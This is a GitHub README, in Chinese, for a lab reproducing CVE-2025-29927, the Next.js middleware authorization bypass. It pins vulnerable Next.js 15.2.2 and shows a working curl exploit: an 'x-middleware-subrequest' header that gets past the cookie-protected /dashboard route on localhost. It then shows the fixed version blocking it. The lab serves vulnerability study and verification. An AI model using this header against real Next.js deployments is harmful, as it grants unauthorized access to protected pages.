SwapnilDeshpande/cve-2025-29927-lab

GitHub: SwapnilDeshpande/cve-2025-29927-lab

CVE-2025-29927 Next.js middleware 授权绕过漏洞的最小化复现实验环境,用于演示和验证单个 HTTP 标头绕过身份验证的攻击链。

Stars: 0 | Forks: 0

# CVE-2025-29927 实验环境 CVE-2025-29927(Next.js middleware 授权绕过,CVSS 9.1)的最小化复现实验环境。 配套文章:[Medium 上的 N-Day 分析报告](https://medium.com/@swapjam/n-day-analysis-cve-2025-29927-how-one-http-header-bypasses-all-next-js-middleware-auth-3fe178fea580) ## 项目简介 这是一个带有 cookie 保护的 `/dashboard` 路由的 Next.js 15.2.2 应用(存在漏洞)。通过发送单个 HTTP 标头即可绕过 middleware 的身份验证检查 —— 无需任何凭据。 ## 环境要求 - Node.js 18+ ## 设置说明 ``` git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab cd cve-2025-29927-lab npm install # pins to Next.js 15.2.2 (vulnerable) npm run dev -- --port 3001 ``` ## 复现授权绕过 **步骤 1 — 确认 middleware 会拦截未认证的请求:** ``` curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard # → 307 ``` **步骤 2 — 使用 subrequest 标头绕过 middleware:** ``` curl -s -o /dev/null -w "%{http_code}" \ -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3001/dashboard # → 200 ``` **步骤 3 — 升级到已修复版本并确认绕过方式已被拦截:** ``` npm install next@15.2.3 # 重启 dev server,然后重复步骤 2 # → 307 ``` ## 应用路由 | 路由 | 访问权限 | |---|---| | `/` | 公开 | | `/login` | 公开 | | `/dashboard` | 受 middleware 保护(需要 `session` cookie) | ## 受影响版本 Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5 ## 参考 - [NVD — CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927) - [Next.js 修复 PR #77201](https://github.com/vercel/next.js/pull/77201) - [漏洞源码 — sandbox.ts](https://github.com/vercel/next.js/blob/v15.2.0/packages/next/src/server/web/sandbox/sandbox.ts)
标签:CISA项目, CVE-2025-29927, MITM代理, Web安全, 数据可视化, 漏洞复现环境, 蓝队分析, 身份验证绕过